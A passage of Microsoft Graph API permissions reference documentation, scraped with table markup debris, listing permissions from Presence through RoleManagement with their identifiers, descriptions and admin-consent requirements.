    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-8d3c54a7-cf58-4773-bf81-c0cd6ad522bb
    DisplayText-Read and write a user's presence information
    Description-Allows the app to read the presence information and write activity and availability on behalf of the signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location.
    AdminConsentRequired-No
    +
    +

    Presence.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier83cded22-8297-4ff6-a7fa-e97e9545a259-
    DisplayTextRead and write presence information for all users-
    DescriptionAllows the app to read all presence information and write activity and availability of all users in the directory without a signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, time zone and location.-
    AdminConsentRequiredYes-
    +
    +

    PrintConnector.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-d69c2d6d-4f72-4f99-a6b9-663e32f8cf68
    DisplayText-Read print connectors
    Description-Allows the application to read print connectors on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    PrintConnector.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-79ef9967-7d59-4213-9c64-4b10687637d8
    DisplayText-Read and write print connectors
    Description-Allows the application to read and write print connectors on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    Printer.Create

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-90c30bed-6fd1-4279-bf39-714069619721
    DisplayText-Register printers  
    Description-Allows the application to create (register) printers on behalf of the signed-in user. 
    AdminConsentRequired-Yes
    +
    +

    Printer.FullControl.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-93dae4bd-43a1-4a23-9a1a-92957e1d9121
    DisplayText-Register, read, update, and unregister printers
    Description-Allows the application to create (register), read, update, and delete (unregister) printers on behalf of the signed-in user. 
    AdminConsentRequired-Yes
    +
    +

    Printer.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9709bb33-4549-49d4-8ed9-a8f65e45bb0f3a736c8a-018e-460a-b60c-863b2683e8bf
    DisplayTextRead printersRead printers
    DescriptionAllows the application to read printers without a signed-in user. Allows the application to read printers on behalf of the signed-in user. 
    AdminConsentRequiredYesYes
    +
    +

    Printer.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf5b3f73d-6247-44df-a74c-866173fddab089f66824-725f-4b8f-928e-e1c5258dc565
    DisplayTextRead and update printersRead and update printers
    DescriptionAllows the application to read and update printers without a signed-in user. Does not allow creating (registering) or deleting (unregistering) printers.Allows the application to read and update printers on behalf of the signed-in user. Does not allow creating (registering) or deleting (unregistering) printers.
    AdminConsentRequiredYesYes
    +
    +

    PrinterShare.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-ed11134d-2f3f-440d-a2e1-411efada2502
    DisplayText-Read printer shares
    Description-Allows the application to read printer shares on behalf of the signed-in user. 
    AdminConsentRequired-No
    +
    +

    PrinterShare.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-5fa075e9-b951-4165-947b-c63396ff0a37
    DisplayText-Read basic information about printer shares
    Description-Allows the application to read basic information about printer shares on behalf of the signed-in user. Does not allow reading access control information.
    AdminConsentRequired-No
    +
    +

    PrinterShare.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-06ceea37-85e2-40d7-bec3-91337a46038f
    DisplayText-Read and write printer shares
    Description-Allows the application to read and update printer shares on behalf of the signed-in user. 
    AdminConsentRequired-Yes
    +
    +

    PrintJob.Create

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-21f0d9c0-9f13-48b3-94e0-b6b231c7d320
    DisplayText-Create print jobs
    Description-Allows the application to create print jobs on behalf of the signed-in user and upload document content to print jobs that the signed-in user created.
    AdminConsentRequired-No
    + +

    In this to PrintJob.Create, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    +
    +

    PrintJob.Manage.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier58a52f47-9e36-4b17-9ebe-ce4ef7f3e6c8-
    DisplayTextPerform advanced operations on print jobs-
    DescriptionAllows the application to perform advanced operations like redirecting a print job to another printer without a signed-in user. Also allows the application to read and update the metadata of print jobs.-
    AdminConsentRequiredYes-
    +
    +

    PrintJob.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-248f5528-65c0-4c88-8326-876c7236df5e
    DisplayText-Read user's print jobs
    Description-Allows the application to read the metadata and document content of print jobs that the signed-in user created.
    AdminConsentRequired-No
    + +

    In this to PrintJob.Read, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    +
    +

    PrintJob.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierac6f956c-edea-44e4-bd06-64b1b4b9aec9afdd6933-a0d8-40f7-bd1a-b5d778e8624b
    DisplayTextRead print jobsRead print jobs
    DescriptionAllows the application to read the metadata and document content of print jobs without a signed-in user. Allows the application to read the metadata and document content of print jobs on behalf of the signed-in user. 
    AdminConsentRequiredYesYes
    + +

    In this to PrintJob.Read.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    +
    +

    PrintJob.ReadBasic

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-6a71a747-280f-4670-9ca0-a9cbf882b274
    DisplayText-Read basic information of user's print jobs
    Description-Allows the application to read the metadata of print jobs that the signed-in user created. Does not allow access to print job document content.
    AdminConsentRequired-No
    + +

    In this to PrintJob.ReadBasic, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    +
    +

    PrintJob.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierfbf67eee-e074-4ef7-b965-ab5ce1c1f68904ce8d60-72ce-4867-85cf-6d82f36922f3
    DisplayTextRead basic information for print jobsRead basic information of print jobs
    DescriptionAllows the application to read the metadata of print jobs without a signed-in user. Does not allow access to print job document content.Allows the application to read the metadata of print jobs on behalf of the signed-in user. Does not allow access to print job document content.
    AdminConsentRequiredYesYes
    + +

    In this to PrintJob.ReadBasic.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    +
    +

    PrintJob.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-b81dd597-8abb-4b3f-a07a-820b0316ed04
    DisplayText-Read and write user's print jobs
    Description-Allows the application to read and update the metadata and document content of print jobs that the signed-in user created.
    AdminConsentRequired-No
    + +

    In this to PrintJob.ReadWrite, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    +
    +

    PrintJob.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5114b07b-2898-4de7-a541-53b0004e2e13036b9544-e8c5-46ef-900a-0646cc42b271
    DisplayTextRead and write print jobsRead and write print jobs
    DescriptionAllows the application to read and update the metadata and document content of print jobs without a signed-in user.Allows the application to read and update the metadata and document content of print jobs on behalf of the signed-in user. 
    AdminConsentRequiredYesYes
    + +

    In this to PrintJob.ReadWrite.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    +
    +

    PrintJob.ReadWriteBasic

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-6f2d22f2-1cb6-412c-a17c-3336817eaa82
    DisplayText-Read and write basic information of user's print jobs
    Description-Allows the application to read and update the metadata of print jobs that the signed-in user created. Does not allow access to print job document content.
    AdminConsentRequired-No
    + +

    In this to PrintJob.ReadWriteBasic, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    +
    +

    PrintJob.ReadWriteBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier57878358-37f4-4d3a-8c20-4816e0d457b13a0db2f6-0d2a-4c19-971b-49109b19ad3d
    DisplayTextRead and write basic information for print jobsRead and write basic information of print jobs
    DescriptionAllows the application to read and update the metadata of print jobs without a signed-in user. Does not allow access to print job document content.Allows the application to read and update the metadata of print jobs on behalf of the signed-in user. Does not allow access to print job document content.
    AdminConsentRequiredYesYes
    + +

    In this to PrintJob.ReadWriteBasic.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    +
    +

    PrintSettings.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb5991872-94cf-4652-9765-29535087c6d8490f32fd-d90f-4dd7-a601-ff6cdc1a3f6c
    DisplayTextRead tenant-wide print settingsRead tenant-wide print settings
    DescriptionAllows the application to read tenant-wide print settings without a signed-in user.Allows the application to read tenant-wide print settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PrintSettings.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-9ccc526a-c51c-4e5c-a1fd-74726ef50b8f
    DisplayText-Read and write tenant-wide print settings
    Description-Allows the application to read and write tenant-wide print settings on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    PrintTaskDefinition.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier456b71a7-0ee0-4588-9842-c123fcc8f664-
    DisplayTextRead, write and update print task definitions-
    DescriptionAllows the application to read and update print task definitions without a signed-in user. -
    AdminConsentRequiredYes-
    +
    +

    PrivilegedAccess.Read.AzureAD

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier4cdc2547-9148-4295-8d11-be0db1391d6bb3a539c9-59cb-4ad5-825a-041ddbdc2bdb
    DisplayTextRead privileged access to Azure AD rolesRead privileged access to Azure AD
    DescriptionAllows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD built-in and custom administrative roles in your organization, without a signed-in user.Allows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD built-in and custom administrative roles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PrivilegedAccess.Read.AzureADGroup

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier01e37dc9-c035-40bd-b438-b2879c4870a6d329c81c-20ad-4772-abf9-3f6fdb7e5988
    DisplayTextRead privileged access to Azure AD groupsRead privileged access to Azure AD groups
    DescriptionAllows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups in your organization, without a signed-in user.Allows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PrivilegedAccess.Read.AzureResources

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5df6fe86-1be0-44eb-b916-7bd443a712361d89d70c-dcac-4248-b214-903c457af83a
    DisplayTextRead privileged access to Azure resourcesRead privileged access to Azure resources
    DescriptionAllows the app to read time-based assignment and just-in-time elevation of user privileges to audit Azure resources in your organization, without a signed-in user.Allows the app to read time-based assignment and just-in-time elevation of Azure resources (like your subscriptions, resource groups, storage, compute) on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PrivilegedAccess.ReadWrite.AzureAD

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier854d9ab1-6657-4ec8-be45-823027bcd0093c3c74f5-cdaa-4a97-b7e0-4e788bfcfb37
    DisplayTextRead and write privileged access to Azure AD rolesRead and write privileged access to Azure AD
    DescriptionAllows the app to request and manage time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD built-in and custom administrative roles in your organization, without a signed-in user.Allows the app to request and manage just in time elevation (including scheduled elevation) of users to Azure AD built-in administrative roles, on behalf of signed-in users.
    AdminConsentRequiredYesYes
    +
    +

    PrivilegedAccess.ReadWrite.AzureADGroup

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2f6817f8-7b12-4f0f-bc18-eeaf60705a9e32531c59-1f32-461f-b8df-6f8a3b89f73b
    DisplayTextRead and write privileged access to Azure AD groupsRead and write privileged access to Azure AD groups
    DescriptionAllows the app to request and manage time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups in your organization, without a signed-in user.Allows the app to request and manage time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PrivilegedAccess.ReadWrite.AzureResources

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6f9d5abc-2db6-400b-a267-7de22a40fb87a84a9652-ffd3-496e-a991-22ba5529156a
    DisplayTextRead and write privileged access to Azure resourcesRead and write privileged access to Azure resources
    DescriptionAllows the app to request and manage time-based assignment and just-in-time elevation of Azure resources (like your subscriptions, resource groups, storage, compute) in your organization, without a signed-in user.Allows the app to request and manage time-based assignment and just-in-time elevation of user privileges to manage Azure resources (like subscriptions, resource groups, storage, compute) on behalf of the signed-in users.
    AdminConsentRequiredYesYes
    +
    +

    PrivilegedAssignmentSchedule.Read.AzureADGroup

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiercd4161cb-f098-48f8-a884-1eda9a42434c02a32cc4-7ab5-4b58-879a-0586e0f7c495
    DisplayTextRead assignment schedules for access to Azure AD groupsRead assignment schedules for access to Azure AD groups
    DescriptionAllows the app to read time-based assignment schedules for access to Azure AD groups, without a signed-in user.Allows the app to read time-based assignment schedules for access to Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier41202f2c-f7ab-45be-b001-85c9728b9d6906dbc45d-6708-4ef0-a797-f797ee68bf4b
    DisplayTextRead, create, and delete assignment schedules for access to Azure AD groupsRead, create, and delete assignment schedules for access to Azure AD groups
    DescriptionAllows the app to read, create, and delete time-based assignment schedules for access to Azure AD groups, without a signed-in user.Allows the app to read, create, and delete time-based assignment schedules for access to Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PrivilegedEligibilitySchedule.Read.AzureADGroup

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifieredb419d6-7edc-42a3-9345-509bfdf5d87c8f44f93d-ecef-46ae-a9bf-338508d44d6b
    DisplayTextRead eligibility schedules for access to Azure AD groupsRead eligibility schedules for access to Azure AD groups
    DescriptionAllows the app to read time-based eligibility schedules for access to Azure AD groups, without a signed-in user.Allows the app to read time-based eligibility schedules for access to Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier618b6020-bca8-4de6-99f6-ef445fa4d857ba974594-d163-484e-ba39-c330d5897667
    DisplayTextRead, create, and delete eligibility schedules for access to Azure AD groupsRead, create, and delete eligibility schedules for access to Azure AD groups
    DescriptionAllows the app to read, create, and delete time-based eligibility schedules for access to Azure AD groups, without a signed-in user.Allows the app to read, create, and delete time-based eligibility schedules for access to Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    profile

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-14dad69e-099b-42c9-810b-d002981feec1
    DisplayText-View users' basic profile
    Description-Allows the app to see your users' basic profile (e.g., name, picture, user name, email address)
    AdminConsentRequired-No
    +

    personal Microsoft accounts The profile delegated permission is available for consent in personal Microsoft accounts.

    + +

    profile is an OpenID Connect (OIDC) scope.

    +

    You can use the OIDC scopes to specify artifacts that you want returned in Azure AD authorization and token requests. They are supported differently by the Azure AD v1.0 and v2.0 endpoints.

    +

    With the Azure AD v1.0 endpoint, only the openid scope is used. You specify it in the scope parameter in an authorization request to return an ID token when you use the OpenID Connect protocol to sign in a user to your app. For more information, see Authorize access to web applications using OpenID Connect and Azure Active Directory. To successfully return an ID token, you must also make sure that the User.Read permission is configured when you register your app.

    +

    With the Azure AD v2.0 endpoint, you specify the offline_access scope in the scope parameter to explicitly request a refresh token when using the OAuth 2.0 or OpenID Connect protocols. With OpenID Connect, you specify the openid scope to request an ID token. You can also specify the email scope, profile scope, or both to return additional claims in the ID token. You do not need to specify the User.Read permission to return an ID token with the v2.0 endpoint. For more information, see OpenID Connect scopes.

    +

    The Microsoft Authentication Library (MSAL) currently specifies offline_access, openid, profile, and email by default in authorization and token requests. This means that, for the default case, if you specify these scopes explicitly, Azure AD may return an error.

    +
    +

    ProfilePhoto.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere24d31aa-e1ab-4c80-85fe-23018690335d469cd065-729e-4dee-b1fa-d92e0fab6310
    DisplayTextRead profile photo of a user or groupRead profile photo of a user or group
    DescriptionAllows the app to read all profile photos of users and groups, without a signed-in userAllows the app to read all profile photos of users and groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ProfilePhoto.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier27baa7f6-5dfb-4ba8-b1d3-1e812c143013f5b24df7-511e-48bb-ae88-643f023b55e1
    DisplayTextRead and write profile photo of a user or groupRead and write profile photo of a user or group
    DescriptionAllows the app to read and write all profile photos of users and groups, without a signed-in userAllows the app to read and write all profile photos of users and groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ProgramControl.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiereedb7fdd-7539-4345-a38b-4839e4a84cbdc492a2e1-2f8f-4caa-b076-99bbf6e40fe4
    DisplayTextRead all programsRead all programs that user can access
    DescriptionAllows the app to read programs and program controls in the organization, without a signed-in user.Allows the app to read programs and program controls that the signed-in user has access to in the organization.
    AdminConsentRequiredYesYes
    +
    +

    ProgramControl.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier60a901ed-09f7-4aa5-a16e-7dd3d6f9de3650fd364f-9d93-4ae1-b170-300e87cccf84
    DisplayTextManage all programsManage all programs that user can access
    DescriptionAllows the app to read, update, delete and perform actions on programs and program controls in the organization, without a signed-in user.Allows the app to read, update, delete and perform actions on programs and program controls that the signed-in user has access to in the organization.
    AdminConsentRequiredYesYes
    +
    +

    PublicKeyInfrastructure.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier214fda0c-514a-4650-b037-b562b1a6612404a4b2a2-3f26-4fc8-87ee-9c46e68db175
    DisplayTextRead all certificate based authentication configurationsRead certificate based authentication configurations
    DescriptionAllows the application to read certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, without a signed-in user.Allows the application to read certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PublicKeyInfrastructure.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera2b63618-5350-462d-b1b3-ba6eb3684e263591b7f3-dba8-4bad-b667-7a64bd4f2b83
    DisplayTextRead and write all certificate based authentication configurationsRead and write certificate based authentication configurations
    DescriptionAllows the application to read and write certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, without a signed-in user.Allows the application to read and write certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    QnA.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifieree49e170-1dd1-4030-b44c-61ad6e98f743f73fa04f-b9a5-4df9-8843-993ce928925e
    DisplayTextRead all Question and AnswersRead all Questions and Answers that the user can access.
    DescriptionAllows an app to read all question and answers, without a signed-in user.Allows an app to read all question and answer sets that the signed-in user can access.
    AdminConsentRequiredYesNo
    +
    +

    RecordsManagement.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierac3a2b8e-03a3-4da9-9ce0-cbe28bf1accd07f995eb-fc67-4522-ad66-2b8ca8ea3efd
    DisplayTextRead Records Management configuration, labels and policiesRead Records Management configuration, labels, and policies
    DescriptionAllows the application to read any data from Records Management, such as configuration, labels, and policies without the signed in user.Allows the application to read any data from Records Management, such as configuration, labels, and policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    RecordsManagement.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiereb158f57-df43-4751-8b21-b8932adb3d34f2833d75-a4e6-40ab-86d4-6dfe73c97605
    DisplayTextRead and write Records Management configuration, labels and policiesRead and write Records Management configuration, labels, and policies
    DescriptionAllow the application to create, update and delete any data from Records Management, such as configuration, labels, and policies without the signed in user.Allow the application to create, update and delete any data from Records Management, such as configuration, labels, and policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Reports.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier230c1aed-a721-4c5d-9cb4-a90514e508ef02e97553-ed7b-43d0-ab3c-f8bace0d040c
    DisplayTextRead all usage reportsRead all usage reports
    DescriptionAllows an app to read all service usage reports without a signed-in user. Services that provide usage reports include Office 365 and Azure Active Directory.Allows an app to read all service usage reports on behalf of the signed-in user. Services that provide usage reports include Office 365 and Azure Active Directory.
    AdminConsentRequiredYesYes
    +
    +

    ReportSettings.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifieree353f83-55ef-4b78-82da-555bfa2b4b9584fac5f4-33a9-4100-aa38-a20c6d29e5e7
    DisplayTextRead all admin report settingsRead admin report settings
    DescriptionAllows the app to read all admin report settings, such as whether to display concealed information in reports, without a signed-in user.Allows the app to read admin report settings, such as whether to display concealed information in reports, on behalf of the signed-in user
    AdminConsentRequiredYesYes
    +
    +

    ReportSettings.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2a60023f-3219-47ad-baa4-40e17cd02a1db955410e-7715-4a88-a940-dfd551018df3
    DisplayTextRead and write all admin report settingsRead and write admin report settings
    DescriptionAllows the app to read and update all admin report settings, such as whether to display concealed information in reports, without a signed-in user.Allows the app to read and update admin report settings, such as whether to display concealed information in reports, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ResourceSpecificPermissionGrant.ReadForUser

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-f1d91a8f-88e7-4774-8401-b668d5bca0c5
    DisplayText-Read resource specific permissions granted on a user account
    Description-Allows the app to read the resource specific permissions granted on a user account, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    ResourceSpecificPermissionGrant.ReadForUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifieracfca4d5-f49f-40ed-9648-84068b474c73-
    DisplayTextRead all resource specific permissions granted on user accounts-
    DescriptionAllows the app to read all resource specific permissions granted on user accounts, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    RoleAssignmentSchedule.Read.Directory

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierd5fe8ce8-684c-4c83-a52c-46e882ce4be1344a729c-0285-42c6-9014-f12b9b8d6129
    DisplayTextRead all active role assignments and role schedules for your company's directoryRead all active role assignments for your company's directory
    DescriptionAllows the app to read the active role-based access control (RBAC) assignments and schedules for your company's directory, without a signed-in user. This includes reading directory role templates, and directory roles.Allows the app to read the active role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes reading directory role templates, and directory roles.
    AdminConsentRequiredYesYes
    +
    +

    RoleAssignmentSchedule.ReadWrite.Directory

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdd199f4a-f148-40a4-a2ec-f0069cc799ec8c026be3-8e26-4774-9372-8d5d6f21daff
    DisplayTextRead, update, and delete all policies for privileged role assignments of your company's directoryRead, update, and delete all active role assignments for your company's directory
    DescriptionAllows the app to read, update, and delete policies for privileged role-based access control (RBAC) assignments of your company's directory, without a signed-in user.Allows the app to read and manage the active role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes managing active directory role membership, and reading directory role templates, directory roles and active memberships.
    AdminConsentRequiredYesYes
    +
    +

    RoleEligibilitySchedule.Read.Directory

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierff278e11-4a33-4d0c-83d2-d01dc58929a5eb0788c2-6d4e-4658-8c9e-c0fb8053f03d
    DisplayTextRead all eligible role assignments and role schedules for your company's directoryRead all eligible role assignments for your company's directory
    DescriptionAllows the app to read the eligible role-based access control (RBAC) assignments and schedules for your company's directory, without a signed-in user. This includes reading directory role templates, and directory roles.Allows the app to read the eligible role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes reading directory role templates, and directory roles.
    AdminConsentRequiredYesYes
    +
    +

    RoleEligibilitySchedule.ReadWrite.Directory

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierfee28b28-e1f3-4841-818e-2704dc62245f62ade113-f8e0-4bf9-a6ba-5acb31db32fd
    DisplayTextRead, update, and delete all eligible role assignments and schedules for your company's directoryRead, update, and delete all eligible role assignments for your company's directory
    DescriptionAllows the app to read and manage the eligible role-based access control (RBAC) assignments and schedules for your company's directory, without a signed-in user. This includes managing eligible directory role membership, and reading directory role templates, directory roles and eligible memberships.Allows the app to read and manage the eligible role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes managing eligible directory role membership, and reading directory role templates, directory roles and eligible memberships.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagement.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc7fbd983-d9aa-4fa7-84b8-17382c103bc448fec646-b2ba-4019-8681-8eb31435aded
    DisplayTextRead role management data for all RBAC providersRead role management data for all RBAC providers
    DescriptionAllows the app to read role-based access control (RBAC) settings for all RBAC providers without a signed-in user. This includes reading role definitions and role assignments.Allows the app to read the role-based access control (RBAC) settings for all RBAC providers, on behalf of the signed-in user. This includes reading role definitions and role assignments.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagement.Read.CloudPC

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier031a549a-bb80-49b6-8032-2068448c6a3c9619b88a-8a25-48a7-9571-d23be0337a79
    DisplayTextRead Cloud PC RBAC settingsRead Cloud PC RBAC settings
    DescriptionAllows the app to read the Cloud PC role-based access control (RBAC) settings, without a signed-in user.Allows the app to read the Cloud PC role-based access control (RBAC) settings, on behalf of the signed-in user.  This includes reading Cloud PC role definitions and role assignments.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagement.Read.Directory

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier483bed4a-2ad3-4361-a73b-c83ccdbdc53c741c54c3-0c1e-44a1-818b-3f97ab4e8c83
    DisplayTextRead all directory RBAC settingsRead directory RBAC settings
    DescriptionAllows the app to read the role-based access control (RBAC) settings for your company's directory, without a signed-in user. This includes reading directory role templates, directory roles and memberships.Allows the app to read the role-based access control (RBAC) settings for your company's directory, on behalf of the signed-in user. This includes reading directory role templates, directory roles and memberships.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagement.Read.Exchange

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc769435f-f061-4d0b-8ff1-3d39870e5f853bc15058-7858-4141-b24f-ae43b4e80b52
    DisplayTextRead Exchange Online RBAC configurationRead Exchange Online RBAC configuration
    DescriptionAllows the app to read the role-based access control (RBAC) configuration for your organization's Exchange Online service, without a signed-in user. This includes reading Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies.Allows the app to read the role-based access control (RBAC) settings for your organization's Exchange Online service, on behalf of the signed-in user. This includes reading Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagement.ReadWrite.CloudPC

